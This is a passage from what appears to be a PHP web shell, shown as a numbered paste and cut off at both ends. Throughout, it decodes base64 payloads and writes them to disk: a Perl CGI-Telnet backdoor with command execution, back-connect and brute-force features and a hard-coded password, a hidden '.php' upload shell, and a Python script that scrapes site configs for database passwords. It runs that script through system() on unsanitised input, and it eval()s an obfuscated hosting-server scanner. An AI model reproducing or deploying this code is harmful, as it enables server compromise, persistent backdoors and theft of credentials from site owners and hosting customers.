3VsdCAuPSI8L3RhYmxlPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsnbyd9Ow0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KDQokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcigiZCIpOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCRjaG1vZCBuZSAwKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCRyZW5hbWUgbmUgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7DQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7';
  316.  
  317. $file = fopen("cgi4e.izo" ,"w+");
  318. $write = fwrite ($file ,base64_decode($cgi4e));
  319. fclose($file);
  320. chmod("cgi4e.izo",0755);
  321. echo "<br><center><h1 class='k2ll33d2'>CGI-Telnet Version 1.4 </h1><br><font face='Tahoma' color='#007700' size='10pt'>Password : virusa</font><center><br><iframe src=CGI7/cgi4e.izo width=75% height=60% frameborder=0></iframe>
  322.  
  323. </div></center>";
  324. }
  325. elseif(isset($_GET['x']) && $_GET['x'] == 'wordlist'){
  326. echo '<form method="POST" target="_blank">
  327. <td valign="top" bgcolor="#151515" class="k2ll33d2" colspan="6"><center><strong>[ Get Wordlist ]</strong></center></td>
  328. </tr>
  329. <form method="POST" target="_blank">
  330. <strong>
  331. <input name="pass" type="hidden" value="password">
  332. </strong>
  333. <tr>
  334. <td valign="top" bgcolor="#151515" style="width: 139px"><center><strong>Url Config :</strong></center></td>
  335. <td valign="top" bgcolor="#151515"><center><strong><input class =\'inputz\' size="50" name="url" type="text" value="http://www."></strong></center></td>
  336. </strong>
  337. </td>
  338. </tr>
  339. <tr>
  340. <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  341. <td valign="top" bgcolor="#151515" colspan="5"><center><strong><input class =\'inputzbut\' type="submit" value="GO">
  342. </form></center>';
  343. @error_reporting(0);
  344. $i = getenv('REMOTE_ADDR');
  345. $h = $_SERVER['HTTP_HOST'];
  346. $dir=$_SERVER['PHP_SELF'];
  347. $back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
  348. $file = fopen(".php","w+");
  349. $write = fwrite ($file ,base64_decode($back));
  350. fclose($file);
  351. chmod(".php",0755);
  352. mkdir('config',0755);
  353. $cp =
  354. 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IFZpUnVzeCBFTA0KdGh4OiBBTEwgTXkgRnJpZW5kcyANCicnJw0KDQppbXBvcnQgc3lzDQppbXBvcnQgb3MNCmltcG9ydCByZQ0KaW1wb3J0IHN1YnByb2Nlc3MNCmltcG9ydCB1cmxsaWINCmltcG9ydCBnbG9iDQpmcm9tIHBsYXRmb3JtIGltcG9ydCBzeXN0ZW0NCg0KaWYgbGVuKHN5cy5hcmd2KSAhPSAzOg0KICBwcmludCcnJwkNCiBVc2FnZTogJXMgW1VSTC4uLl0gW2RpcmVjdG9yeS4uLl0NCiBFeCkgJXMgaHR0cDovL3d3dy50ZXN0LmNvbS90ZXN0LyBbZGlyIC4uLl0nJycgJSAoc3lzLmFyZ3ZbMF0sIHN5cy5hcmd2WzBdKQ0KICBzeXMuZXhpdCgxKQ0KDQpzaXRlID0gc3lzLmFyZ3ZbMV0NCmZvdXQgPSBzeXMuYXJndlsyXQ0KDQp0cnk6DQogIHJlcSAgPSB1cmxsaWIudXJsb3BlbihzaXRlKQ0KICByZWFkID0gcmVxLnJlYWQoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGYgPSBvcGVuKCcvdG1wL2RhdGEudHh0JywgJ3cnKQ0KICAgIGYud3JpdGUocmVhZCkNCiAgICBmLmNsb3NlKCkNCiAgaWYgc3lzdGVtKCkgPT0gJ1dpbmRvd3MnOg0KICAgIGYgPSBvcGVuKCdkYXRhLnR4dCcsICd3JykgIA0KICAgIGYud3JpdGUocmVhZCkNCiAgICBmLmNsb3NlKCkNCg0KICBpID0gMA0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGYgPSBvcGVuKCcvdG1wL2RhdGEudHh0JywgJ3JVJykNCiAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8bGk+PGEnKSA9PSBUcnVlIDoNCiAgICAgICAgbSA9IHJlLnNlYXJjaChyJyg8YSBocmVmPSIpKC4rW14+XSkoIj4pJywgbGluZSkNCiAgICAgICAgaSArPSAxDQogICAgICAgIGxvY2FsX25hbWUgPSAnJXMvZmlsZSVkLnR4dCcgJSAoZm91dCwgaSkNCiAgICAgICAgcHJpbnQgJ1JldHJpZXZpbmcuLi5cdFx0Jywgc2l0ZSArIG0uZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPGltZycpID09IFRydWU6DQogICAgICAgIG0xID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTEuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMS5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxJTUcnKSA9PSBUcnVlOg0KICAgICAgICBtMiA9IHJlLnNlYXJjaChyJyg8QSBIUkVGPSIpKC4rW14+XSkoIj4pJywgbGluZSkNCiAgICAgICAgaSArPSAxDQogICAgICAgIGxvY2FsX25hbWUgPSAnJXMvZmlsZSVkLnR4dCcgJSAoZm91dCwgaSkNCiAgICAgICAgcHJpbnQgJ1JldHJpZXZpbmcuLi5cdFx0Jywgc2l0ZSArIG0yLmdyb3VwKDIpDQogICAgICAgIHRyeTogIHVybGxpYi51cmxyZXRyaWV2ZShzaXRlICsgbTIuZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3JVJykNCiAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8bGk+PGEnKSA9PSBUcnVlIDoNCiAgICAgICAgbSA9IHJlLnNlYXJjaChyJyg8YSBocmVmPSIpKC4rW14+XSkoIj4pJywgbGluZSkNCiAgICAgICAgaSArPSAxDQogICAgICAgIGxvY2FsX25hbWUgPSAnJXMvZmlsZSVkLnR4dCcgJSAoZm91dCwgaSkNCiAgICAgICAgcHJpbnQgJ1JldHJpZXZpbmcuLi5cdFx0Jywgc2l0ZSArIG0uZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPGltZycpID09IFRydWU6DQogICAgICAgIG0xID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTEuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMS5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxJTUcnKSA9PSBUcnVlOg0KICAgICAgICBtMiA9IHJlLnNlYXJjaChyJyg8QSBIUkVGPSIpKC4rW14+XSkoIj4pJywgbGluZSkNCiAgICAgICAgaSArPSAxDQogICAgICAgIGxvY2FsX25hbWUgPSAnJXMvZmlsZSVkLnR4dCcgJSAoZm91dCwgaSkNCiAgICAgICAgcHJpbnQgJ1JldHJpZXZpbmcuLi5cdFx0Jywgc2l0ZSArIG0yLmdyb3VwKDIpDQogICAgICAgIHRyeTogIHVybGxpYi51cmxyZXRyaWV2ZShzaXRlICsgbTIuZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGNsZWFudXAgPSBzdWJwcm9jZXNzLlBvcGVuKCdybSAtcmYgL3RtcC9kYXRhLnR4dCA+IC9kZXYvbnVsbCcsIHNoZWxsPVRydWUpLndhaXQoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ2RlbCBDOlxkYXRhLnR4dCcsIHNoZWxsPVRydWUpLndhaXQoKQ0KICBwcmludCAnXG4nLCAnLScgKiAxMDAsICdcbicNCiAgaWYgc3lzdGVtKCkgPT0gJ0xpbnV4JzoNCiAgICBmb3Igcm9vdCwgZGlycywgZmlsZXMgaW4gb3Mud2Fsayhmb3V0KToNCiAgICAgIGZvciBmbmFtZSBpbiBmaWxlczoNCiAgICAgICAgZnVsbHBhdGggPSBvcy5wYXRoLmpvaW4ocm9vdCwgZm5hbWUpDQogICAgICAgIGYgPSBvcGVuKGZ1bGxwYXRoLCAncicpDQogICAgICAgIGZvciBsaW5lIGluIGY6DQogICAgICAgICAgc2VjciA9IHJlLnNlYXJjaCAociIoZGJfcGFzc3dvcmQnXSA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICAgIHNlY3IxID0gcmUuc2VhcmNoKHIiKHBhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IxIGlzIG5vdCBOb25lOiAgcHJpbnQgIChzZWNyMS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjIgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMi5ncm91cCgzKSkNCiAgICAgICAgICBzZWNyMyA9IHJlLnNlYXJjaCAociIoZGJwYXNzID0uLikoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgICAgc2VjcjQgPSByZS5zZWFyY2ggKHIiKERCUEFTU1dPUkQgPSAnKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjQgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNC5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I1IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjUuZ3JvdXAoMikpDQogICAgICAgICAgc2VjcjYgPSByZS5zZWFyY2ggKHIiKGRicGFzc3dkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgICAgc2VjcjcgPSByZS5zZWFyY2ggKHIiKG1vc0NvbmZpZ19wYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNyBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I3Lmdyb3VwKDIpKQ0KICAgICAgICBmLmNsb3NlKCkNCiAgaWYgc3lzdGVtKCkgPT0gJ1dpbmRvd3MnOg0KICAgIGZvciBpbmZpbGUgaW4gZ2xvYi5nbG9iKCBvcy5wYXRoLmpvaW4oZm91dCwgJyoudHh0JykgKToNCiAgICAgIGYgPSBvcGVuKGluZmlsZSwgJ3InKQ0KICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgc2VjciA9IHJlLnNlYXJjaCAociIoZGJfcGFzc3dvcmQnXSA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjciBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IuZ3JvdXAoMikpICANCiAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IxIGlzIG5vdCBOb25lOiAgcHJpbnQgIChzZWNyMS5ncm91cCgyKSkNCiAgICAgICAgc2VjcjIgPSByZS5zZWFyY2gociIoREJfUEFTU1dPUkQnKSguLi4pKC4rW14+XSkoJykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICBzZWNyMyA9IHJlLnNlYXJjaCAociIoZGJwYXNzID0uLikoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyMyBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IzLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjQgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNC5ncm91cCgyKSkNCiAgICAgICAgc2VjcjUgPSByZS5zZWFyY2ggKHIiKERCcGFzcyA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgc2VjcjYgPSByZS5zZWFyY2ggKHIiKGRicGFzc3dkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I2Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNyBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I3Lmdyb3VwKDIpKQ0KICAgICAgZi5jbG9zZSgpDQpleGNlcHQgKEtleWJvYXJkSW50ZXJydXB0KToNCiAgcHJpbnQgJ1xuVGhhbmtzIGZvciB1c2luZyBpdCAuX14n';
  355. $file = fopen("cp.py","w+");
  356. $write = fwrite ($file ,base64_decode($cp));
  357. fclose($file);
  358. chmod("cp.py",0755);
  359. $url = $_POST['url'];
  360. echo"<center>
  361. <textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
  362. system("python cp.py $url config");
  363. unlink ('cp.py');
  364. echo"</textarea>
  365. </center>";
  366. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF']."> << BACK</a>";
  367. exit;
  368. }
  369. elseif(isset($_GET['x']) && $_GET['x'] == 'Hsp'){
  370. eval (base64_decode('ZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgMCk7DQokdGl0bGUgPSAiPGgyIGNsYXNzPSdrMmxsMzNkMic+SHNwaGVyZSBTZXJ2ZXIgU2Nhbm5lciBQcml2OCBCeSBWaVJ1c3g8L2gyPiIgOw0KDQokZGlyID0gIjx0YWJsZSBib3JkZXI9JzEnIHN0eWxlPSdib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlJz4NCiAgICAgICAgPHRyPg0KICAgICAgICAJPHRkPjxoMz5TLU5hbWU8L2gzPjwvdGQ+DQogICAgICAgIAk8dGQ+PGgzPkRvYy1Qd0Q8L2gzPjwvdGQ+DQogICAgICAgIAk8dGQ+PGgzPlZMTjwvaDM+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICAgIjsNCiRjaHNwaGVyZSA9ICIvaHNwaGVyZS9sb2NhbC9jb25maWcvaHR0cGQvc2l0ZXMvIjsNCiRvcGVuZGlyID0gb3BlbmRpcigkY2hzcGhlcmUpOyANCndoaWxlICgoJGZpbGUgPSByZWFkZGlyKCRvcGVuZGlyKSkgIT09IGZhbHNlKSB7DQokcGF0aCA9ICRjaHNwaGVyZS4kZmlsZTsNCg0KJHJlYWRmaWxlID0gZm9wZW4oJHBhdGgsInIiKTsNCiRjb250ZW50ID0gZnJlYWQoJHJlYWRmaWxlLGZpbGVzaXplKCRwYXRoKSk7DQpmY2xvc2UoJHJlYWRmaWxlKTsNCg0KJERvY3VtZW50Um9vdCA9IGV4cGxvZGUoJ0RvY3VtZW50Um9vdCcsICRjb250ZW50ICk7DQokRFJvb3QgPSBleHBsb2RlKCdTZXJ2ZXJOYW1lJywgJERvY3VtZW50Um9vdFsxXSApOw0KDQokU2VydmVyTmFtZSA9IGV4cGxvZGUoJ1NlcnZlck5hbWUnLCAkY29udGVudCApOw0KJFNOYW1lID0gZXhwbG9kZSgnU2VydmVyQWxpYXMnLCAkU2VydmVyTmFtZVsxXSApOw0KDQokZGlyIC49ICI8dHI+PHRkPiIuJFNOYW1lWzBdLiI8L3RkPjx0ZD4iLiREUm9vdFswXS4iPC90ZD48dGQ+dW5zZWN1cmU8L3RkPjwvdHI+IjsgLy9kaXNpbmkga2FtdSBiaXNhIGJpa2luIGxpbmsga2Ugd2Vic2hlbGxueWEuIA0KfQ0KY2xvc2VkaXIoJG9wZW5kaXIpOw0KJGRpciAuPSAiPC90YWJsZT4iOw0KDQo/Pg0KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPg0KPGhlYWQ+DQoJPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMSIgLz4NCgk8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IlZpUnVzeCIgLz4NCiAgICA8dGl0bGU+PD9waHAgZWNobyAkdGl0bGUgPz4tVmlSdXN4IEVMPC90aXRsZT4NCiAgICAgICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCiAgICAgICA8L3N0eWxlPiAgICAgDQo8L2hlYWQ+DQo8Ym9keT4NCjxkaXYgaWQ9IiI+DQo8cCBzdHlsZT0iZm9udC1zaXplOiAyNHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IGNvbG9yOiByZWQ7Ij48c3Ryb25nPiA8P3BocCBlY2hvICR0aXRsZSA/PiA8L3N0cm9uZz48L3A+PGJyLz4NCjxkaXYgaWQ9Im91dHB1dCI+DQo8P3BocCBlY